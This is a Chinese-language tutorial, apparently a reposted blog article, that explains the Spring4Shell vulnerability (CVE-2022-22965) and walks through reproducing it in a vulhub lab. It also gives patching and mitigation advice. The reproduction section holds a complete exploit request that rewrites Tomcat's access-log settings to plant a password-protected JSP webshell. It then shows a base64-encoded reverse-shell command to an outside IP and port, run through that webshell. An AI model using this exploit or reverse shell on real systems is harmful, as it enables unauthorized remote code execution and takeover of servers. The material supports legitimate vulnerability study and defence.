Spring4Shell CVE-2022-22965原理及复现


Spring4Shell(正式编号为CVE-2022-22965)是 2022 年 3 月底发现的一个存在于Spring Framework中的远程代码执行(RCE)高危漏洞。由于 Spring 框架在 Java 生态中的核心地位,该漏洞曾引发了全行业的广泛关注,被不少人拿来与之前的 Log4Shell(Log4j 漏洞)相提并论。

漏洞原因与原理

核心原因:Spring 的参数绑定(Data Binding)机制存在缺陷,未能有效限制对敏感类属性的访问。

技术原理:
  1. 参数绑定:Spring 允许将 HTTP 请求参数自动映射到 Java 对象(POJO)的属性中。例如,请求?name=Tom会调用对象的setName("Tom")
  2. 利用路径:在 JDK 9 及以上版本中,Java 引入了Module概念。通过对象属性导航,攻击者可以访问到class对象,进而访问module,再访问到classLoader
    • 利用链class.module.classLoader
  3. 日志篡改(以 Tomcat 为例):攻击者通过特制的 HTTP 请求,修改 Tomcat 服务器的AccessLogValve(访问日志控制类)的配置属性。
  4. 写入 WebShell:攻击者将日志的存储路径修改为 Web 目录,将日志后缀改为.jsp,并将日志内容(Pattern)设置为一段恶意的 JSP 代码。随后,只需访问一次该 URL,Tomcat 就会将这段恶意代码写入服务器磁盘,形成一个持久化的WebShell

影响范围

要触发此漏洞,通常需要满足以下五个特定条件(这也是为什么它虽严重但不如 Log4j 易触发的原因):

  • JDK 版本:JDK 9 或更高版本(因为需要module属性)。
  • 框架版本:Spring Framework < 5.3.18 或 < 5.2.20。
  • 依赖项:使用spring-webmvcspring-webflux
  • 部署方式:以传统的WAR 包形式部署在Apache Tomcat上。如果使用 Spring Boot 默认的内嵌 Tomcat(JAR 包部署),默认配置下较难被直接利用。
  • 参数传递:Controller 方法中使用了 POJO(普通 Java 对象)作为入参。

特定入口:必须是 Spring MVC 控制器中接收POJO 参数绑定的 HTTP 接口。
利用难度:中等:需要构造复杂的反射链,且目前公开最成熟的利用路径仅针对 Tomcat 容器。


Spring4Shell漏洞是基于CVE-2010-1622漏洞的绕过

CVE-2010-1622大致流程:

  1. class.classLoader获得ClassLoader类加载器,而在tomcat中类加器一般为org.apache.catalina.loader.WebappClassLoader它继承了URLClassLoader有一个getURLs()方法返回 URLs 的数组
  2. springbean的内省机制,对于数组不需要 setter 方法也可以修改值,内部是 Array.set() 实现的
  3. tomcat 的org.apache.jasper.compiler.TldLocationsCache会从WebappClassLoader里面读取urls参数并解析恶意的TLD文件,实现RCE
    简化就是 :
    通过springbean特性修改class.classLoader.URLs[0]数组的值 -> 由于jstl即 Java 服务器页面标准标签库 , Spring 在渲染 jsp 页面时,会去加载标签库.当受害机加载攻击者的远程类时,会解析攻击者构造的恶意TLD文件,实现RCE

漏洞修复
官方在springbean的加载时的CachedIntrospectionResults加入了对class.classLoader的判断


CVE-2022-22965(Spring4Shell)

jdk9 以后给Class加入了module属性,我们可以利用module获得ClassLoader, 也就是可以利用class.module.classLoader获得

可以本地搭建漏洞环境,执行以下代码,通过反射深度搜索查找,获取class.module.classLoader的利用链,打印出来

packagecom.lingx5.spring4shell.controller;importorg.springframework.stereotype.Controller;importorg.springframework.web.bind.annotation.RequestMapping;importjava.lang.reflect.InvocationTargetException;importjava.lang.reflect.Method;importjava.util.HashSet;@ControllerpublicclassProperController{@RequestMapping("/testclass")publicvoidclassTest(){HashSet<Object>set=newHashSet<Object>();Stringpoc="class.moduls.classLoader";Useraction=newUser();processClass(action.getClass().getClassLoader(),set,poc);}publicvoidprocessClass(Objectinstance,java.util.HashSetset,Stringpoc){try{Class<?>c=instance.getClass();set.add(instance);Method[]allMethods=c.getMethods();for(Methodm:allMethods){if(!m.getName().startsWith("set")){continue;}if(!m.toGenericString().startsWith("public")){continue;}Class<?>[]pType=m.getParameterTypes();if(pType.length!=1)continue;if(pType[0].getName().equals("java.lang.String")||pType[0].getName().equals("boolean")||pType[0].getName().equals("int")){StringfieldName=m.getName().substring(3,4).toLowerCase()+m.getName().substring(4);System.out.println(poc+"."+fieldName);}}for(Methodm:allMethods){if(!m.getName().startsWith("get")){continue;}if(!m.toGenericString().startsWith("public")){continue;}Class<?>[]pType=m.getParameterTypes();if(pType.length!=0)continue;if(m.getReturnType()==Void.TYPE)continue;m.setAccessible(true);Objecto=m.invoke(instance);if(o!=null){if(set.contains(o))continue;processClass(o,set,poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4));}}}catch(IllegalAccessException|InvocationTargetExceptionx){x.printStackTrace();}}}

发现获取了以下AccessValve属性

class.module.classLoader.resources.context.parent.pipeline.first.directory class.module.classLoader.resources.context.parent.pipeline.first.prefix class.module.classLoader.resources.context.parent.pipeline.first.suffix class.module.classLoader.resources.context.parent.pipeline.first.pattern class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
  1. 什么是AccessLogValve
    在正常情况下,AccessLogValve(访问日志阀门)是 Apache Tomcat 提供的一个标准组件。它的唯一任务是:记录谁在什么时候访问了哪个网页
    server.xml中通常是这样配置
<ValveclassName="org.apache.tomcat.valves.AccessLogValve"directory="logs"prefix="localhost_access_log"suffix=".txt"pattern="%h %l %u %t&quot;%r&quot;%s %b"/>
  • directory: 日志存哪(默认是logs目录)。
  • prefix / suffix: 文件名叫什么(默认是localhost_access_log.txt)。
  • pattern: 记录什么内容(如:IP 地址请求时间状态码等)。
  1. 在这个漏洞起什么作用呢?
    由于漏洞本身只是赋予了攻击者修改java对象属性的能力,所以需要找到可以通过属性修改控制服务器的利用路径,而AccessLogValve就是这条路径

漏洞攻击思路:

  1. 修改路径:通过漏洞吧directory修改成Web根目录(webapps/ROOT)
  2. 修改后缀:把后缀改成可以解析的代码后缀,把suffix.txt改成.jsp.
  3. 注入:把pattern改为一段WebShellJSP木马)

条件略有些苛刻
利用链严重依赖Tomcat,如果你用的是 Jetty 或其他服务器,它们没有AccessLogValve这个类,或者类结构不一样,攻击者的这条“写文件路径”就断了

漏洞复现

  1. 靶机环境(使用 vulhub靶场):
克隆vulhub仓库gitclone --depth1https://github.com/vulhub/vulhub.git 到漏洞地址cdvulhub/spring/CVE-2022-22965

拉取镜像

docker-compose up -d

拉取失败的可以使用这个仓库的镜像源配置工具:

git clone https://github.com/hzhsec/docker_proxy.git chmod +x *.sh ./docker-proxy.sh

再拉取

docker-compose up -d

使用docker ps查看镜像是否运行
访问:http://靶机IP:8080

  1. 构造恶意请求
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: 192.168.1.100:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2: <% DNT: 1

payload解释:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}iif("j".equals(request.getParameter("pwd"))){java.io.InputStreamin=%{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream();inta=-1;byte[]b=newbyte[2048];while((a=in.read(b))!=-1){out.println(newString(b));}}%{suffix}i

class.module.classLoader.resources.context.parent.pipeline.first.pattern
这个属性作用是保存日志内容,这里通过请求包头部信息构造了jsp恶意代码,并回显

最终构造为

<% if("j".equals(request.getParameter("pwd"))){ Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream() 的输出通过out.println回显 } %>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

修改日志保存后缀.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

修改日志保存根目录webapps/ROOT

&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar

将日志文件名前缀改为tomcatwar

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

dateFormat留空(避免带时间戳,文件名固定为tomcatwar.jsp

  1. 发送数据包
    浏览器插件是crapapi http接口调试插件,当然可以用burpsuit发送

  2. 测试是否执行命令

http://192.168.41.128:8080/tomcatwar.jsp?pwd=j&cmd=id

成功执行

测试反弹shell命令

bash-c{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMi4xNjcuMTY0LzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}

YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMi4xNjcuMTY0LzQ0NDQgMD4mMQ替换为自己的反弹命令

将命令url编码

http://192.168.41.128:8080/tomcatwar.jsp?pwd=j&cmd=bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMi4xNjcuMTY0LzQ0NDQgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D

反弹成功

漏洞修复建议

1.升级框架版本
这是最彻底的解决方案,Spring 官方已在后续版本中对参数绑定的类访问路径进行了严格的黑名单限制。

  • Spring Framework
    • 升级到5.3.18或更高版本。
    • 升级到5.2.20或更高版本(针对 5.2.x 分支)。
  • Spring Boot
    • 升级到2.6.6或更高版本。
    • 升级到2.5.12或更高版本。

2.环境降级
如果你的业务代码过于陈旧,无法立即升级 Spring 框架,可以通过改变运行环境来阻断漏洞链
降级 JDK: 将运行环境回退到Java 8

  • 原理:Spring4Shell 的利用链依赖于 Java 9+ 引入的module属性。在 JDK 8 下,攻击者无法通过class.module访问到ClassLoader

3.代码临时加固

在无法升级框架且必须使用 JDK 9+ 的情况下,可以在 Controller 中通过@InitBinder设置黑名单,禁止绑定敏感的属性路径。

@ControllerAdvice@Order(Ordered.HIGHEST_PRECEDENCE)publicclassSecurityAdvice{@InitBinderpublicvoidsetAllowedFields(WebDataBinderdataBinder){// 定义黑名单:禁止通过参数绑定访问 classLoader 和 cacheString[]denylist=newString[]{"class.*","Class.*","*.class.*","*.Class.*"};dataBinder.setDisallowedFields(denylist);}}

注意:这种方法需要确保覆盖了所有的 Controller。

参考链接

CVE-2022-22965源码分析与漏洞复现
Spring4Shell 漏洞分析


免责声明

本文档所包含的漏洞复现方法、技术细节及利用代码,仅限用于授权的安全测试、教育学习与研究目的

严禁在未获得明确授权的情况下,对任何系统进行测试或攻击。任何不当使用所导致的法律责任及后果,均由使用者自行承担。

作者与文档提供者不承担任何因滥用本文档信息而产生的直接或间接责任。请遵守您所在地的法律法规,并始终践行负责任的网络安全实践。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1131225.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

激光扫描共聚焦显微镜与转盘共聚焦显微镜的区别

共聚焦显微技术是现代科学研究的重要成像工具&#xff0c;主要通过引入共轭针孔滤除非焦平面杂散光&#xff0c;实现优异的光学切片能力和三维分辨率。其主流技术路径分为激光扫描共聚焦显微镜&#xff08;LSCM&#xff09;与转盘共聚焦显微镜&#xff08;SDCM&#xff09;。二…

揭秘科哥二次开发套件:小白也能搭建专业级AI图像平台

揭秘科哥二次开发套件&#xff1a;小白也能搭建专业级AI图像平台 如果你所在的创业团队正计划为电商客户提供AI生成产品图的增值服务&#xff0c;却苦于缺乏专业的AI开发人员&#xff0c;那么"揭秘科哥二次开发套件"可能是你需要的解决方案。这个预置了Stable Diffus…

Z-Image-Turbo商业授权无忧:合规部署与版权管理的完整方案

Z-Image-Turbo商业授权无忧&#xff1a;合规部署与版权管理的完整方案 对于广告公司而言&#xff0c;将AI图像生成技术如Z-Image-Turbo应用于商业项目时&#xff0c;最大的顾虑往往不是技术实现&#xff0c;而是开源模型的商业授权合规性和版权管理问题。本文将详细介绍一套完…

颠覆频谱感知:基于Zynq RFSoC与AI的多通道协作系统设计

当频谱日益拥挤,如何在复杂电磁环境中实现超灵敏、高并发的“信号捕手”?基于Zynq RFSoC的多通道协作频谱感知系统正为下一代无线通信带来答案。 8通道分布式协作频谱感知架构内,每秒钟可处理4.8G个采样点,覆盖2GHz瞬时带宽,而系统的核心功耗却大幅降低,轻量级IQ神经网络…

零碳园区数字感知基础架构规划的发展趋势

数字感知基础架构是零碳园区的“神经中枢”&#xff0c;通过部署全场景感知终端、构建实时传输网络、沉淀精准数据资产&#xff0c;为能源调度、碳排核算、生态治理提供核心数据支撑。当前&#xff0c;随着《国家应对气候变化标准体系建设方案》的落地与5G、AI大模型等技术的迭…

防火墙数据安全守护

一、包过滤模式 包过滤模式是防火墙最基础的过滤方式&#xff0c;像数据的“身份检查站”。它仅查看数据包包头信息&#xff0c;比如来源IP、目标IP、端口号等&#xff0c;对照预设规则判断是否放行。规则可设置为允许特定IP访问&#xff0c;或禁止某端口的数据进出。这种模式…

Java小白面试实录:从Spring Boot到微服务架构的技术探索

场景描述 在一个阳光明媚的下午&#xff0c;超好吃来到了知名互联网大厂进行他的Java开发职位面试。面试官是一位严肃但不失亲和力的技术主管&#xff0c;准备从多维度考察超好吃的技术能力。第一轮提问&#xff1a;基础框架与工具 面试官&#xff1a; 请你简单介绍一下Spring …

拥抱大数据领域数据可视化,提升数据分析效率

拥抱大数据领域数据可视化&#xff0c;提升数据分析效率关键词&#xff1a;大数据、数据可视化、数据分析效率、可视化工具、可视化方法摘要&#xff1a;本文深入探讨了大数据领域的数据可视化&#xff0c;旨在帮助大家通过数据可视化来提升数据分析效率。首先介绍了数据可视化…

赋能中小微实体突围:全域众链的普惠型 AI 转型路径

在实体经济的版图中&#xff0c;中小微实体商家占据着绝对主力地位&#xff0c;它们是城市商业的活力源泉&#xff0c;却也长期面临着数字化转型的 “两难困境”—— 既迫切需要借助新技术突破经营瓶颈&#xff0c;又受限于资金、技术、人才等资源&#xff0c;难以承担传统数字…

电商人的AI工具包:15分钟搭建Z-Image-Turbo产品图生成系统

电商人的AI工具包&#xff1a;15分钟搭建Z-Image-Turbo产品图生成系统 作为一名电商运营人员&#xff0c;你是否也遇到过这样的困扰&#xff1a;需要为数千种商品生成展示图片&#xff0c;但人工制作成本太高&#xff1f;今天我要分享的Z-Image-Turbo产品图生成系统&#xff0c…

雷军又发奖了!1000万奖金花落“玄戒”,未来5年还要砸2000亿搞研发

1月8日一早&#xff0c;科技圈就被雷军的一条消息刷屏了。小米不仅开了个隆重的技术大奖颁奖礼&#xff0c;雷军还在社交平台上大大方方地宣布&#xff1a;今年的千万技术大奖&#xff0c;被“玄戒O1”团队稳稳拿下了。能在小米这么多顶尖项目里脱颖而出&#xff0c;拿到这沉甸…

《元学习框架下提示工程架构师实践的全景透视》

元学习框架下提示工程架构师实践的全景透视——从“经验试错”到“学会学习”的生产力革命 一、引言&#xff1a;大模型时代的“提示困境”与元学习的破局之道 凌晨三点&#xff0c;电商运营小张盯着电脑屏幕叹气——他已经改了12版GPT提示词&#xff0c;可生成的口红文案要么太…

极简教程:用浏览器直接调用云端Z-Image-Turbo服务的三种方式

极简教程&#xff1a;用浏览器直接调用云端Z-Image-Turbo服务的三种方式 对于非技术背景的创作者来说&#xff0c;直接使用复杂的AI图像生成工具往往面临环境配置、依赖安装等门槛。Z-Image-Turbo服务通过云端预置环境解决了这一问题&#xff0c;只需通过浏览器即可调用高性能图…

高防IP如何实现为数藏精准防刷策略

如何识别数藏刷量行为 通过部署智能流量分析系统&#xff0c;实时监测访问请求特征。通过分析IP行为模式、访问频率等参数&#xff0c;建立正常用户行为基线。当检测到异常高频请求、固定访问路径等刷量特征时&#xff0c;系统自动触发防护机制。 数藏防刷策略有哪些核心技术…

在线教育系统源码实战:考试刷题APP从功能规划到上线全过程

这几年&#xff0c;无论是职业资格考试、K12 教育&#xff0c;还是企业内部培训&#xff0c;“刷题 考试”的在线教育模式几乎成了刚需。很多客户在咨询时都会问一句话&#xff1a;“有没有成熟的在线教育系统源码&#xff1f;能不能直接做一个考试刷题 APP 或小程序&#xff…

AI艺术策展人:构建自动化图像筛选与分类系统

AI艺术策展人&#xff1a;构建自动化图像筛选与分类系统 作为一名数字艺术策展人&#xff0c;你是否也面临着海量AI生成作品的困扰&#xff1f;每天需要从成千上万张图片中筛选出高质量内容&#xff0c;不仅耗时耗力&#xff0c;还容易错过真正优秀的作品。本文将介绍如何利用A…

积木 BI 数据大屏重磅升级!11 大全新功能组件,打造更简洁高效的数据可视化体验

在数据驱动的时代&#xff0c;如何快速、美观地展示数据大屏&#xff0c;成为每个企业和团队关注的焦点。积木BI数据大屏最新版本重磅推出&#xff0c;一次性新增11大功能组件&#xff0c;让数据大屏设计变得更加简单、高效、专业。 积木BI&#xff08;jimuBI&#xff09; Ji…

Maya云渲染教程:轻松三步开启高效渲染之旅

【渲染101】云渲染平台支持Houdini、C4D、Blender、UE5、3Dmax、Maya、SU、云电脑等&#xff0c;填写云渲码【2355】可获得【200】渲染额度&#xff0c;免费测试。A.注册下载客户端B. 配置渲染环境选择Maya版本——双击选择对应的渲染器版本——保存&#xff08;支持Mtoa-Redsh…

移动端福音:通过WebUI远程访问Z-Image-Turbo云端服务

移动端福音&#xff1a;通过WebUI远程访问Z-Image-Turbo云端服务 作为一名内容创作者&#xff0c;你是否经常遇到这样的困扰&#xff1a;旅途中灵感迸发&#xff0c;想用AI快速生成社交媒体素材&#xff0c;却受限于手机性能无法运行复杂的文生图模型&#xff1f;Z-Image-Turbo…

想做一款刷题小程序?在线教育系统源码选型与开发实战经验分享

这两年&#xff0c;找我咨询“刷题小程序”“在线考试系统”的客户明显多了起来。有的是培训机构&#xff0c;想把线下题库搬到线上&#xff1b;有的是创业团队&#xff0c;希望低成本做一款刷题产品试水&#xff1b;也有公司内部想做员工考试、培训测评。几乎所有人都会问同一…